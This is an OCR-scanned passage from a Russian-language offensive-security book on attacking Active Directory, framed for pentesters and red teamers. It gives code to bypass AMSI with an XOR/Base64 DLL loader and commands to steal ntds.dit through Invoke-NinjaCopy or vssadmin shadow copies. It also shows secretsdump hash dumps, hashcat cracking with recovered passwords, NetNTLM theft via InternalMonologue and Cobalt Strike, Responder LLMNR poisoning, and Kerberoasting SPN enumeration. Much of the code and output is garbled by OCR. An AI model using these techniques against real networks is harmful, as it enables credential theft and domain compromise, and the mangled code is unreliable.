Защита от детекта в Active Directory 103 Marshal . Copy ( patch, О , addr, patch . Length ) ; catch ( Exception е ) { Console . WriteLine ( " [ х ] { 0 ) 11 , e . Message ) ; Console . WriteLine ( 11 [ х ] { О } 11 , е . InnerException ) ; private static bool is 64Bit ( ) { bool i s 64Bit = true ; if ( IntPtr . S ize == 4) i s 64Bit = false; return is 64Bit ; class Win32 [ Dll import ( " kernel 3 2 " ) ] puЫic stat ic" extern IntPtr GetProcAddress ( IntPtr hМodule, string procName ) ; [ Dl l import ( 11 kernel3211 ) ] puЬlic static extern IntPtr LoadLibrary ( string name ) ; [ Dl l import ( " kernel3211 ) ] puЬlic static extern bool VirtualProtect ( IntPtr lpAddres s , UintPtr dwSize, uint flNewProtect, out uint lpflOldProtect ) ; Состояние: Помещено в карантин Файлы в карантине находятся в изолированной области, rде они не могут нанести вред устройству. Они будут удалены автоматически. Обнаружена угроза: Trojan:PowerShell/UnicomByp�ss.A Уровень оnовещен >1я: Критический Рис. 5.18. Сообщение Windows Defender при обнаружении скрипта Теперь используем PowerShell-cкpипт для загрузки DLL и выполнения целевой функции. Исходный сценарий, который работал на момент представления этой методики на конференции, уже легко обнаруживается AMSI (рис. 5 . 1 8). function В-А i f ( -not ( [ System. Management . Automation . PSTypeName ] 11A" ) . Туре ) [ Reflection . As semЬly] : : Load ( [ Convert] : : FromВase64String ( 11DLL библиотека в BASE64 11 ) ) 1 Out-Null
Глава 5 104 Write-Output " DLL has Ьеел refleeted" ; [А] : : В ( ) Это происходит потому, что AМSI способен снять кодировку Base64. Но можно комбинировать методы обхода. К примеру, Base64 + XOR + Base64. Закодируем DLL с помощью следующего скриmа на Python: # ! /usr/biл/pythoлЗ import base64 with opeл ( " . /AВ . dl l " , " rb" ) as file : ·dll = file . read ( ) еле = base64 . b 64eлeode (dll ) елехоr = bytes ( елееле = [ 9 6лЬуtе for byte iл еле ] ) base64 . b64eлeode ( eлexor) рriлt ( елееле) Тогда PowerShell-cкpиm будет выглядеть следующим образом: fuлetioл А-В if ( -лоt ( [ Systern. Maлagerneлt . Automatioл . PSTypeName ] "А" ) . Туре) $елееле = "Закодированная DLL библиотека" $еле = [Text . Eлeodiлg ] : : UTF8 . GetStriлg ( [ Coлvert ] : : FromВase64 Striлg ( $eлeeлe ) ) $dee=@ ( ) foreaeh ( $byte iл [Text . Eлeodiлg] : : UTFB . GetBytes ( $eлe ) ) { $dee += $byte -bxor 9 6 $ u = [Text . Eлeodiлg] : : UTF8 . GetStriлg ( $dee) [Refleetioл . AssernЬly] : : Load ( [ Coлvert ] : : FromВaseб4 Striлg ( $u ) ) 1 OUt-Nul l Write-Output "DLL has Ьеел refleeted" [А] : : В ( ) Такой подход позволяет избежать детектирования (рис. 5 . 1 9). Это очень полезная и удобная техника, позволяющая работать со скриmами, кото рые AMSI ранее блокировал. Рис. 5.19. Отключенный AMSI больше не реагирует на опасные строки
ГЛАВА 6 Поиск критически важн ых данн ых при атаке на домен Для успешной атаки .на Active Directory, захвата рабочих станций и перемещения по сети настоящему хакеру не обязательно владеть учетными данными пользовате лей. Но иногда без них не обойтись. А чтобы завладеть учеткой, нужно знать, где в сетях с Active Directory обычно хранятся пароли и как их оттуда добыть. Работа с ntds . dit Файл ntds . dit представляет собой базу данных, в которой хранится информация Active Directory, такая как сведения о пользователях, группах и членстве в группах. База также включает хеши паролей для всех пользователей в домене. Первым делом хакеру следует получить копию файла ntds . di t. Он расположен на контроллере домена в директории с : \Windows \NTDS\. Но просто скопировать его не получится, т. к. этот файл постоянно используется EFS в Active Directory, и опера тор (пентестер, редтимер, злоумышленник или исследователь) рискует получить следующее сообщение об ошибке (рис. 6. 1 ). Файл уже 111сnользуется Действие не может быть аыпол.нено, так как этот файл. открыт в "Шифрованная файловая система (EFS)". Закройте файл и повторите попытку. ntds.dit Тиn: Файл "D1т· Размер: 20,О МБ Дата изменения: 12.032020 1 3:35 1 \ Повторить попыт�<у Отмена (v) Подробнее Рис. 6.1 . Ошибка копирования файла ntds.dit
Гла ва б 106 расскажу о двух способах скопировать данный файл. Первый способ использует скрипт PowerShell, а второй - копирование с помощью встроенных средств Windows. Я Скрипт Invoke-NinjaCopy (https://github.com/PowerShellMafia/PowerSploit/ЫoЫ позволяет копировать любые исполь зуемые службами Windows файлы, в том числе и ntds . dit. При этом скрипт не за пускает посторонних служб и не внедряется в процессы или контекст System. Этот инструмент получает дескриптор диска, что дает ему право на чтение необработан ного ма,ссива байтов всего тома. Затем скрипт анализирует структуру NTFS и ищет определенную сигнатуру. Таким образом определяет, где находится файл, и побай тово его копирует. Так можно читать даже файлы, которые блокирует LSASS (рис. 6.2). master/Exfiltration/lnvoke-Ninj aCopy.psl) PS p;-f------ c :.;5---:-·-:o :'11W ke-HinjaCo µ y . С : '\,) 1 n v o l<e-HinjaCopy --patl1 с = '-\Hn do 1-1s'\,HIDS '- n t ds . d it - v e 1•bos e - loc a ldes t inat i on c : '\,n t d s . d it ПОПРОБНО : Pot-1e1•S l1e l l P1•o c e s s I D : 1 6 72 ПОJ]РОБНО : C a l l i n g I n v o ke -Me11101•yLo adL ib1•a1•y ПОПРОfiНО : Ge t t in g basic РЕ i n f o 1•111a t i o n f 1•0 111 t l1e f i le ПОПРОБНО : A l locat ing 111е 1110 1•у f o 1• t lie РЕ a n d щ• i t e i t s lieade1•s t o 111е 111о >'у ПО.11РОБНО : Ge t t in g d e t a i l e d РЕ i n f o 1•111a t i o n f1•0 111 the }1eade 1•s loaded in 111е 1110 1•у flO.llPOfiHO : S t a1•t fldd1•e s s : 3747714 8 2 6 2 4 Endfl dd1•e s s : 374771 6 3 41 76 ПO.llPOfiHO : Сору РЕ s e c t io n s in to 111е 1110 1•у ПО.llРОБНО : Update 111е 1110 1•у add1•es s e s bas e d on 1-1lie 1•e t l1e РЕ t·1as ac t н a l ly loaded in 111 е 111 0 1•у ПО.llРОБНО 1 111po 1•t DLL ' s n eeded Ьу t }ie РЕ t�e а1•е lo ading ЛОПРОfiНО D o n e i111po1•t i n g DLL i111p o1•ts flO.llPOfiHO Update 111e 111o l' y pl'o t e c t ion f lags ПОПРОfiНО C a l l i n g d l l111a in so t l1e DLL knoнs it l1as b e e n loaded ПО.llРОБНО Ca l l i n g S t e a l t l1ReadFile in DLL flO.llPOБHO Read 5 2 4 2 8 8 1!! byt e s . 1 5 745 1!!2 4 byte s i•e 111a in in g . ПO.llPOfiHO Read 5 2 4 2 8 8 1!! byt e s . 1 1!!5 1!!2 1 44 byte s i•e111a in in g . ПOJ]POfiHO Read 5 2 4 2 8 8 1!! byt e s . 5 2 5 9 2 6 4 byt e s 1'e 111a i n i n g . ПO.llPOliHO Read 5 2 42 8 8 1!! byte s . 1 6 3 8 4 byt e s i•e 111a in in g . ПO.llPOliHO Read 1 6 3 8 4 byt e s . (!) byt e s 1•e111a in in g . ЛO.llPOliHO D o n e н n load i n g t l1e l ib1•ai•ies n e e d e d Ьу tl1e РЕ ПO.llPOliHO C a l l i n g d l l111a in so t l1e DLL knot-1s it is be i n g tш loaded ПО.11РО ЫЮ Don e ! pg Рис. 6.2. Копирование файла с помощью lпvoke-NiпjaCopy Плюс ко всему данный скрипт написан на PowerShell, поэтому запускается из памяти, что позволяет избежать его сохранения на диск. Второй способ - теневое копирование. Для этого используется установленный в Windows инструмент vssadmin (рис. 6.3). Сначала следует создать теневую копию с помощью следующей команды: f > vssadmin create shadow / for=C : : \>vssadшi ti cr-eate shado"1 /for·=C : 'Ssadnii n 1 . 1 - Программа командной строки для администрирования слуJt-бы теневого копирования томов Корпорация r�айкросоqп (Mi cros oft Coгporti 011) , 2001-201 3 . (С) Успешн о создана теневая копия для 1 1( : \ " IO теневой коnии : {ld7 284 3 4 - fc4a-4803-9938- c27dc1814 2 c 5 } Иыя тома теневой копии : \\?\GLOBдLROOT\Devi ce\Harddi s kvol unieShado\\Copyl Рис. 6.3. Соэдание теневой копии с помощью vssadmiп
Поиск критически важных данных гrри атаке на домен 107 теперь можно копировать оттуда никем не используемый файл (рис. 6.4). А ntds . dit > сору \\?\GLOВALROOT\Device\ [имя тома теневой кoпии ] \windows\ntds\ntds . dit C : \ntds . dit с : \>сору \ \ ?\GLOBALROOT\De\1i ce\Har·ddi skVo l umeShad01-.Copyl\�.1 ndo1"s \ntds\пtds . di t 1. Скопировано файлов : . с: \пtds . d i t · .. Рис. 6.4. Копирование пtds.dit Таким образом, файл ntds . dit можно скопировать двумя разными способами. Но он зашифрован, и, чтобы его прочитать, необходим файл SYSTEM, получить который можно также несколькими способами. К примеру, из той же теневой копии (рис. 6.5): > сору \ \ ? \GLOBALROOT\Device\ [имя тома теневой кoпии ] \windows\system32\config\system C : \system или из реестра (рис. 6.6): > reg save hklm\sys tem C : \sys - : ,,сору \\ ?\G�OBALROOT\Devi се\ Har·ddi skVo l umeSl1ado"'Copyl\w1 пdows\system32\conf1 g\system С : \system .копировано фаилов : 1. -.. . ' Рис. 6.5. Копирование файла system из теневой копии . : \>геg save hklm\system C : \sys nерация успешно завершена . Рис. 6.6. Получение файла system из реестра Теперь у оператора есть необходимые файлы, и он может перенести их к себе на машину для дальнейших работ, точнее для извлечения информации и взлома хешей паролей. Но сначала следует удалить теневую копию (рис. 6.7). > vssadmin delete shadows /shadow= [ I D ' тeнeвoй копии ] : \>vssadmi n d e l ete shadows /shadow={ ld728434 - fc4a-4803-9938- c27dcl814 2 c 5 } 11ssad1ni t1 1 . 1 - Программа командной строки для администрирования службы теневого копирования томов (С) Корпорация �1айкрософт (�ii cr-osoft Corpor.t i on) , 2001 - 201 3 . В ы деiктвительно хотите удал и т ь теневые копии Ус пешн о удалены теневые копии (1) 7 (Д/Н) : [Н] д (1) . Рис. 6.7. Удаление теневой копии Извлечь хеши можно с помощью скрипта secretsdurnp, входящего в пакет impacket (bttps://gitbub.com/SecureAutbCorp/impacket, рис. 6.8). # # secret sdurnp . py -system . / system -ntds . /ntds . dit LOCAL Для взлома NТLМ-хешей можно использовать правим на перебор (рис. 6.9, 6. 1 0). hashcat . hashcat -а О -m 1 0 0 0 ntlm. hashes dict . txt Так мы получим некоторые пароли в открытом виде. . Сохраним их в файл и от
Гла ва б 108 : -/tmi:# secretsdump. ру -system . /system -ntds . /ntds . di t lOCAl Impacket v O . 9 . 21-dev - Copyright 2019 SecureAuth Corporation [ • ] Target system bootKey : 0x67b61535Зc40fa07b353a9fdf77bae93 [ •] Dumping Domain Credentia ls ( d omain\uid : l'id : 1mhash : nthash) [ •] Searching for peklist , Ье patient [ • ] РЕК # 0 found and decrypted : c6569b6173a2f40e7b8a1a9614f38e5a [ • ] Reading and decrypting hashes from . /ntds . d i t Администратор: 500 : aad3b435b51404eeaad3b43Sb51404ee: 9Заа64Ыd73074аfаббеfе7212еа9еd5 : : : Гость : 501 : aad3b435b51404eeaad3b435b51404ee: Зld6cfe0d16ae931Ы3c59d7e0c089 c 0 : : : root : 1001 : aad3b435b51404eeaad3b<.3Sb51404ee: 259745сЫ2За52аа2еб9Зааасса2dЬ52 : : : DC1$ : 1002 : aad3b435b51404eeaad3b435b51404ee : 21b31d757b3219663e04e9cb8cd8295 1 : : : k1·btgt : 502 : aad3b4З5b51404eeaad3b43Sb51404ee : 7d30c92f0af96336fb0d70dad8f92b39 : : : tdomain . dom\a lex : 1105 : aad3b43Sb5llo04eeaad3b43Sb511o04ee : 8c7dccc5la3fс77а031 ffbc2f3cd619e: : : tdoma i n . dom\vivo : 1109 : ааdЗЬ435Ь51404ееааdЗМЗ5Ь51404ее: 8c2e66ee681274c73ela21518a0d16e4 : : : tdomain . dom\jenny : 1 1 1 0 : aad3b435b51404eeaad3b435b51404ee: сdабсс99есЬ42еаб6Ыб0002еЬ907сf4: : : tdomain . dom\admin_sql : 1112 : aad3b435b51404eeaad3b435b51404ee: 804a133Ьl6859aellb69ed21d794dda3 : : : tdomain . dom\roman : 1115 : aad3b435b51404eeaad3b435b51404ee: ae491d078a9daca1908430d28d0c7ce5 : : : \ЧIN-CLIENT$: 1118 : aad3b435b51404eeaad3b435b51404ee: с9с5с89аЫ7485е7297fс0Ьdбаа8Ь71 7 : : : ( • ] Kerberos keys from . /ntds . dit Администратор : aes25б-cts-hmac- shal -96: 1151292d19048ба049еаЬf63 fSf209a1 f8e5f2ef9c86dЫ19f811128dS5607S0 Админ11стратор : aesl28-cts-hmac -shal-96 : e72678e0fс6Ы 9се 74аа3с4237 70086а Адм11нистратор: des-cbc-md 5 : 157375d9b02f а898 DCl $ : aes256-c ts-hmac-sha 1-96 : ЬсЗа 7db45d05b387 4dd3cd7711cc4 f f 62601649471094cfacb5cd33a9c3c89fе DC 1 $ : aes128-ct s-hmac-sha 1-96 : lb4 7513c59b38abbf а0е54с42 f4Ь584е DC1$ : des-cbc-mdS : da1010ab57Sd3de3 krbtgt : aes256-c ts-hmac-shal-96 : 24b8bad8e04a47598c29d297а0ббf 7f4d3697аббес2195Ье50fа84бса 7еЬ6526 krЬtgt : aes128-cts-hmac-shal-96 : 41 fbdaff9ff73fc4204055b3d9db8136 krЬtgt : des-cbc-mdS : 86fbb3c4154f d5f2 tdoma in . dom\a lex : aes2S6-cts-hmac-shal-96 : dc445d49e773aб578ЫeSdela8a096e62ee89e4903999bclaf6Ыaa6aSf72fЫ tdomain . dom\a lex : aes128-cts-hmac-sha1-96 : de5d9323f11199Ыa540ec403430d7da tdomain . dom\alex : des-cbc-md5 : 7c5d94f de5f d384f tdoma in . dom\ v i v o : аеs25б-с ts-hmac-sha 1-96: bf9cdd4 fес7724406Ь0с88Ьее5а8ЗЬ03сс48 f99c22c72702d2Ыfе4а fS 7327Ьс tdoma i n . dom\ v i vo : aes128-cts-hmac-sha1-96 : 8494629Ы2f 126d939ебе59050522112 tdomain . dom\vi v o : des-cbc-mdS : f 1ебЬ39ЬсЬсе159d tdoma i n . dom\j enny : aes2 56-с ts-hmac-sha 1-96 : f253411a3280c59cd56f8d7 ef 423a5aad4380de0dc8b3b 7d7def fe85f 42d f бf 1 tdoma i n . dom\jenny : aes 128-cts-hmac-sha1 - 96 : e04bfef1e9dccб46975dЬfe9af85020 f tdomain . dom\jenn y : des-cbc-mdS : 269d0862df 4feaad tdoma i n . dom\admin_ sq l : aes256-ct s-hmac-shal-96 : 6 754а243с ldd1220f9444ba2ba5Sb09f З l9cdбe2f59dd64eЫ574489с06 f1f72 tdomain . dom\admin_sq1 : aes128-cts-hmac-shal-96 : 8с755712504а394512f233За29с64Ь3с tdomain . dom\admin_sql : des-cbc-mdS : 0dc81бe364f42a79 tdoma in . dom\roman : aes256-cts-hmac-sha1-96 : 167 59а 7 c8cl0976cl fЗddc fб20ее5с7се7 4877ce6eb62d4aa0c f37da5Scd59c4 tdomain . dom\roman : aes 128-cts-hmac-sha 1-96 : Ые8ес4dсеЬ81 б8аЬ48е383801с30849 tdomain . dom\roman : des-cbc -mdS : 0de3d619fd68a16e WIN-CLIENT$: aes256-c ts-hmac-sha1-96 : 99с0Ь2еаЫЗ3еf8Ь94 7f86e 77fa3caad092d3a2bce298148bc8f10ced8053b8d WIN-CLI ENT$ : aes 128-с t s-hmac- shal-96 : З f c288d553df f6b94d55f с8608Ьб811е YIIN-CLIENT$: des-cbc-mdS : 46616ee3fb64dc9b [ • ] Cleaning up . . . Рис. 6.8. Использование secretsdump для извлечения хешей мр# cat ntlm. hashes Ад/>1инистратор : 500 : ааd3Ь435Ь51404ееааd3Ь435Ь51404ее : 9Заа64Ыd73074аfаббеfе7212еа9еd 5 : : : Гос т ь : 50 1 : ааdЗЬ435Ь51404ееа � dЗЬ435Ь51404ее : Зldбсfе0d16ае931ЫЗс59d7е0с089с0 : : : root : 1001 : aadЗb43Sb51404eeaad3b435b51404ee : 259745cЫ2Зa52aa2e693aaacca2db52 : : : DC1 $ : 1002 : aad3b435b51404eeaad3b435b51404ee : 2lb31d75 7b32 19663e04e9cb8cd82951 : : : krbtgt : S02 : aad3b435b51404eeaad3b435b51404ee : 7d30c92 f0af963Збfb0d70dad8f92b39 : : : tdoma in . dom\alex : 1105 : aad3b435b51404eeaad3b435b51404ee : 8c7dccc51a3fc77a031 ffbc2f3cd61 9e : : : tdoma i n . dom\vivo : 1109 : aad3b435b51404eeaad3b435b51404ee : 8c2e66ee681274c73ela21 518a0dlбe4 : : : tdoma i n . dom\jenny : 11 1 0 : aad3b435b51404eeaad3b435b51404ee : cdaбcc99ecb42ea66Ы60002eb907cf4 : : : tdoma i n . dom\admin_sql : 1112 : aad3b43Sb51404eeaad3b435b51404ee : 804a133Ы6859ae11b69ed21d794dda3 : : : tdoma i n . dom\1·oman : 1 1 1 5 : aad3b43Sb51404eeaad3b435b51404ee : ae491d078a9daca1908430d28d0c7ce5 : : : WIN-CLIENT$ : 1 1 1 8 : aadЗb435b51404eeaad3b435b51404ee : c9c5c89aЫ7485e7297fc0bdбaa8b71 7 : : : Рис. 6.9. Файл с хешами
Поиск критически важных данных при атаке на домен 109 31dбc fe0d16ae931b73c59d7e0c089 c 0 : 259745сЬ12За 52аа2е69Зааасса2dЬ5 2 : 12345678 8c2eббee681 274c73ela21518a0dlбe4 : bart 1979 ! 8c7dccc51a3fc77a031ffbc2f3cd619e : Bridge543 cdaбc c99ecb42ea66Ы60002eb907 cf4 : J i n 1989 804a133Ы6859ae11bб9ed21d794ddaЗ : SuperPassword9 ae491d078a9daca1908430d28d0c7ceS : Uias1357 Approach ing final keyspace - workload a d j usted . 93aaб4b7d73074afaббefe7212ea9edS : ZXCvbn 1 2 3 Рис. 6.10. Результат работы hashcat Получение данн ых аутенти срикации без взаимоде йствия с LSASS Конечно, для получения хешей пользовательских паролей можно использовать mimikatz, но сделать это без привлечения процесса LSASS нельзя, т. к. mimikatz достает данные непосредственно из памяти этого процесса. В системе Windows NetNTLM - это протокол запроса-ответа, используемый там, .где Kerberos не поддерживается. При обычной атаке оператор может активировать NetNTLMv2 в качестве клиентской аутентификации, а затем попробовать пройти проверку подлинности на своем подставном сервере, чтобы перехватить и проана лизировать запрос от клиента. Но использовать сеть - не всегда хорошая идея. Избежать этого нам поможет SSPI - программный интерфейс в Microsoft Windows между приложениями и про вайдерами безопасности. Оператор может локально вызвать процедуру метода аутекrификации NTLM из приложения пользовательского режима через SSPI. Это позволит вычислить ответ NetNTLM в контексте вошедшего в систему пользова теля. Сделать это можно с помощью инструмента lnternalMonologue: bttps://gitbub.com/eladsbamir/lnternal-Monologue/bloЬ/master/ InternalMoriologueExe/Ьin/Release/lnternalMonologue.exe). Он обладает широким спектром возможностей, как и множеством вариантов запус ка (рис. 6. 1 1 ). Пример атаки Downgrade с помощью этого инструмента и Cobalt Strike показан на рис. 6. 1 2. Таким способом вполне реально получить NetNTLMv2-xeш пользователя, под которым выполнена атака. Для взлома NetNTLMv2-xeшa также можно использовать hashcat (рис. 6. 1 3, 6 . 1 4). hashcat - а О -m 5 60 0 NetNTLМv2 . hashes dictionary . txt Эта атака выполняется более скрытно по сравнению с использованием mimikatz, поскольку в данном случае нет необходимости загружать код · в защищенный про цесс или выгружать память из него. Так как NetNTLMv2-xeш становится доступен
Event Log Х 1 у ВР-аса 1 1265 1 1 IJytes [Тп1е /Fa lse J . Optior1<1 l . Def11lt i s tr·нe . [lefнlt i s t1·u e . Arl 8 - tJyte lo11q v • l u e i n ascii-hex represe11tatio11 . Рис. 6.14. Результат работы hashcat Рис. 6.1 3. Файл с хешем Рис. 6.1 2. Dоwпgгаdе-атака с помощью lпteгпalMoпologue root: : TDOl1AIN: 1122 334455667788: 73с 7d445ec 590< 29d80207c ее с 2а799е : 0101000000000000<1f вее92041 f a<l50lc ЗOl18l4c a738f el>l!000000000800 зооо 30000000000000 flot elevate<I . Perfo 111li11q attack 1•itl1 сште11t llТLl-1 setti11qs 011 сште11t llSH Cl1ecki11q tl1reads for· llSH toke11s e11dl!le d : F<>lse l + J гeceived o ut1щt : Tasked Ьеа с о 11 to гun . llEТ p roq raш Inteп1alftonoloqt1e . e x e - Dovlfl!) Гade Тrне -Vнbose Тп1е l+J l1ost c alled l1оше . se11t : 120565 l;ytes 1· J Optio n a l . Defult i s 1122 В4455Ьб7788 . Optio11 d l . Defнlt ] s fals e . Рис. 6.1 1 . Справка lпteгпalMoпologue, загруженного через Cobalt Stгike Cl1allenqe - 5 ecifies tl1e �IТ L/1 c hdlle11qe to Ье use<I . Vнl1ose - SfJecifies whethн р гiпt vнl1ose ou tp11t 01· п о t [Tп1e/F<>lse J . Optio n a l . Defult is f a l s e . Tl1 reads - <;pecifies whetheг t o try to lo< дte toke11s t o i111pнso1мte f го111 tlн·e,нls о г n o t lTпJe/False J . I111personдte - Specif i e s wl1etl1er t o try to i1щ)erso11ate а Н otl1н avai lаЫе нsегs о г п о t l T r·ue/Fal s e J . Optio11d l . Restore - Spe<ifies wl1etl1н to restнe tl1e нiqinal v•lues f гош ЬefOl'e tl1e NТLt1 1low11qrddr 01· 11ot [ Т п1e/Fdlse l . Optio11 d l , Deft1lt is t п1 е . Dow119rд1le - <;p eci fies V1hetl1eг to 1>нfо 11н ан NTLM dowпqгade ог ноt I11te п1<1lИ011olo9t1e - Do1·111qrade Fdlse · Restor·e False · In1peгsorldte Тпrе · Ve rbose False · (hdlleпqe 1122334455&67788 EXdlllp le : I11 te п1dHto11oloqt1e - Dow119гade Tпre/Fдlse - Restor·e Tпre/Fdlse - I111peгso11dte Tпre/F•lse -Ver-l>ose Tпre/Fdlse -<l1dlle11•1e дscii-l1ex IJSдq e : [+) l1ost called t1оше . se11t l+I re<eived output. • I11teп1дl11011oloq11e . exe · 11 ru 1 88Q /roo t/t!1}p /I11teп1d Ио110 оqне . ен l ' J TaskNI f)ertco11 to п111 . llEТ 1 поqr•ш Ьедсо11> e x e c tJte- дssein Ьемо11> e xeo1te - as seшl1ly 11·oot/tn111/I11teп1alИonoloq11 e . e x e -110"1н1rade Тп1е - Verl>ose т1·uе 1
Поиск критически важных данных при атаке на домен 111 в результате взаимодействия с локальным SSPI, сетевой трафик не регистрируется. А значит, в атакуемой системе остается меньше следов. LLMNR/NBT- NS Poisoning В инфраструктуре Active Directory работа с именами хостов организована с исполь зованием трех протоколов: DNS, LLМNR и NetBIOS. Все три обеспечивают взаи модействие с удаленной машиной по ее имени, так же как и по адресу. Если клиент Windows не может найти в сети имя определенного хоста с использованием DNS, он выполнит запрос с помощью протокола Link-Local Multicast Name Resolution (LLМNR). Если и здесь он потерпит неудачу, то будет выполнен запрос NetBIOS. Различие между этими протоколами заключается в следующем. В случае с DNS запрос адреса по имени будет направлен на сервер, в то время как протоколы LLМNR и NetBIOS выполнят широковещательную рассылку в локальной сети, и хост, чье имя запрашивается, должен ответить. При этом, в отличие от NetBIOS, LLМNR способен работать с 1Рv6-адресами. Оператор может прослушивать широковещательные рассылки LLМNR (UDP/5355) или NBT-NS (UDP/ 1 3 7) и отвечать на них, как будто ему известно местоположение запрошенного узла. Таким образом, полная цепь атаки выглядит так (рис. 6. 1 5): 1 . Пользователь вместо \ \printserver по ошибке обращается к \ \pintserver. 2. DNS-cepвep сообщает, что не имеет такой записи. 1 . Соединение с pintserver 2. Узеn неизвестен Жертва 3 . Кто-нибудь знает \\pintserver??? 5. Ок! Вот мои данные: � 4 Да ' Э� р щес о' Атакующий Рис. 6.1 5. Схема атаки LLMNR Poisoning DNS Server
Глава 6 1 12 3 . Клиент автоматически совершает широковещательный запрос. 4. Оператор отвечает на него, представляясь несуществующим сервером. 5 . Клиент передает аутентификационную информацию оператору. На практике оператору нужен всего лишь один инстр'умент - Responder, которому следует указать только сетевой интерфейс (рис. 6. 1 6). : ·/tmp ll responder -I vmnet8 . - - - - . ----- . ----- . ---- - . ----- . -- - - - . -- 1 1 1 - 1 - - - ' -- - - 1 - 1 - 1 , 1 , 1 1 1 1 1 1 1 -- ' __ _____ _____ NBT- NS , __ _____ _ _ __ _____ LU.INR & MDNS Responder 1 . ----- . -- - - . 1 1 -- 1 - ' ,, 1 1 _____ __ 3 . 6. 0. 8 Author : Laш·ent Gaffie ( laurent . ga f fi e@gmail . com) То kill this script hit CTRL-C [ + ] Poisone1·s : LLMNR [ ON ] NBT-NS [ON] DNS/MDNS [ON] [ • ] Server s : НТТР se1·ver [ON) HTTPS server [ ON ] WPAO proxy Auth proxy SMB server [ ON ] Kerberos server [ON] SQL server [ ON ] FТР serve1· [ ON ] IMAP server [ON] РОРЗ server [ ON ] SMTP server [ ON ] DNS server [ON ] LOAP server [ ON] RDP server [ ON ] Рис. 6.16. Запуск Respoпder для LLMNR Poisoпiпg Успешно выполненная атака будет выглядеть так, как показано на рис. 6. 1 7. Так оператор может узнать NetNTLMv2-xeши паролей пользователей. Как их взла мывать, уже разобрано ранее. (SNH} NTLMv2-SSP Cl i e n t 192 . 168 . 226 . 1 3 7 [ SMB ] NTLMv 2 - SSP Username [ Sl<\!3 J NТL�lv2-SSP Hash TDOl.\AIN\Aдfo\ИH'1CТpaтop Админис тратор : : TDOl•IAI N : 0 5 0 f 7 80ced0e2da8 : 4CЗCB97C69AAOAбBF BDAAF8 19B7CD. 100460056000400140053004000420033002E006C006F00630061006C0003003400570049004E002D00500052004800 34• 9020106000400020000000800300030000000000000000000000000300000EABC E 1926A4A70596BDA4 0 7 2 8 5D4BBC 5139B 000 [ •] [ LLMNR ] Poisoned answer sent to 192 . 168 . 226 . 137 for nan1e qwerty [ • ] Sl<ippiпg previously captured hash for ТООl>\АIN\Ади11нистратор Рис. 6.17. Результат успешной атаки LLMNR Poisoпiпg
Поиск критически важных данных при атаке на домен 1 13 Kerberoasting Реализация протокола Kerberos в Windows использует имена участников службы (SPN) для определения того, какую учетную запись задействовать для шифрования билета службы. В Active Directory существует два варианта SPN: SPN на основе хоста, и произвольные SPN. Первый вариант SPN связан с учетной записью ком пьютера домена, а второй обычно (но не всегда) - с учеткой пользователя домена. В документации Microsoft написано буквально следующее: <<Когда в Active Dir.ectory создается новая учетная запись компьютера, для встроенных служб ав томатически создаются имена участников-служб. В действительности имена участников-служб создаются только для службы НОSТ, а все встроенные служ бы используют имя участника-службы HOST>>. Но т. к. пароль учетной записи компьютера по умолчанию случайный и меняется каждые 30 дней, оператор в кон тексте данной атаки, как правило, не обращает внимания на имена SPN на основе хоста. Произвольные имена участников-служб также могут быть зарегистрированы для учетных записей пользователей домена. Например, учетная запись службы, которая управляет несколькими экземплярами MSSQL. Таким образом, учетная запись пользователя по умолчанию будет иметь SPN <MSSQLSvc/нosт : PORT> для каждого эк земпляра MSSQL, для которого она зарегистрирована. Эта учетная запись хранится в атрибуте ServicePrincipa lNarne профиля пользователя. Как следует из специфики работы Kerberos, любой пользователь может запросить TGS для любой службы, имеющей зарегистрированное SPN для учетной записи пользователя или компьютера в Active Directory. Таким образом, зная учетные дан ные любого пользователя домена и SPN учетных записей из домена, оператор мо жет запросить TGS от имени пользователя для данных экземпляров SPN. А взломав TGS, узнать пароли от этих учетных записей (рис. 6. 1 8). Конт роллер домена о • :i',IШ--.:.. Сер вер Компьютер пользователя пр иложения Рис. 6.18. Схема атаки KerЬeroasting
1 14 Гла ва б Выполнить атаку можно как удаленно, так и при наличии непосредственного дос тупа к системе. Но для начала нужно получить все SPN из системы. Если есть дос туп, следует использовать встроенное решение setspn (рис. 6. 1 9). setspn -т [домен] -Q * / * С : 1_1:.er·> r·oot -.Desktop:· s e t s pn -т t d omai 11 . do111 - Q Проверка домена OC=tdoшai n. OC=clom OJ =DC l , O IJ =Don:ai n Co 11t r" o 1 1 e 1· s . DC=t dor.1ai n , DC=dom "i" D f>г · 12F%27C · B F 9 7 - 4 787 · 9364 · D 3 1B6C5 5ЕВ04 ; DC l . t cl o111ai n . dom 1 clap, DC l . tcJoшai 11 . do111." Fo1· e s t DnsZones . t d omai n . dom 1 clap 'DCl . tclo01ai 11 . do1н"Domai nDn>Zones . tclo111a i 11 . clom DNS,- DC l . t clo111ai 11 . dош 1;с · DCl . t d omai n . domitdomai n . cloni Restr· i cteclк1·i)Host '· Dc l . t clomai 11 .1:1om R e s ·t 1· i ctecJк1-l)Host ."ocl RPC,- lcdbc28e · d8 3e� 4fбf · b 0 2 8 ·cdb0b0 5 f 3 3al . _111 s dcs . tdomai n . do111 HOST DC l · TOOf•1AIN HOST,DCl . t d oщai 11 . dom;TDOHAНJ HOST 'DCl HOST · DC l . t do111 ai n . doni HOST/ DC l . t cJoшai n . dom/tclomai п . сlош Е 3 5142 35 · 4B06 - 11Dl -.:..B 04-00C04FCLDCD?/lcdlк28 e - d 8 3e - 4 f6f-b028 - cdl)Ob0 Sf33a11tcloшai n . dom 1 dap.'DCl."ТOOf·1AHJ . , l dap 1 lcdbc28e - d8 3 e - 4 fбf- b028 - cdb0b05f33al . _msdcs . tdomai n . dom 1 clap DCl . t d omai 11 . cJ0111.'TD·)l•'дIN l clap 'DCl 1 dap · DCl. t clomai 11 . dom 1 clap · DC l . t domai n . d o111/tdomai п . dощ N=kr·l)tgt , CN=IJ s н s . DC=tcloщai 11 , DC=dom h:adini 11 icliangep"; i:: N =SQL acl1111 11 . CN=Us e1· s . DC=tdoшai п . DC=clom <: 1::: N=.-;i 11- с DCl а m1 n_s . t oma1 n . 1 1 ent , CN=ContpL1te r s , DC=t d0t11ai 11 . DC=dom !Найдено су:.L.;ествуюu.ее SPN , Dfsr - 12F9A27C - BF97 - 4 787 - 9 36 4 - D31BбC 5 5EB04/wi n - c l i ent . tdomai n . dom WS�дN � i n - c l i eпt ,.;51.:дN ".i n - c l i eпt . t d omai n . dom R e s t г i ct edкгbHost .'WIN ·CLIENT HOST; 1-:IN -CLI ENT Restl' i cte dк1· bнost/\·;i n ·с 1 i ent . tdomai n . сJощ · ноsт.· ,.. ; п - с 1 i .:пt . t domai r1 . dom Рис. 6.19. Получение SPN с помощью setspn Указанным способом мы 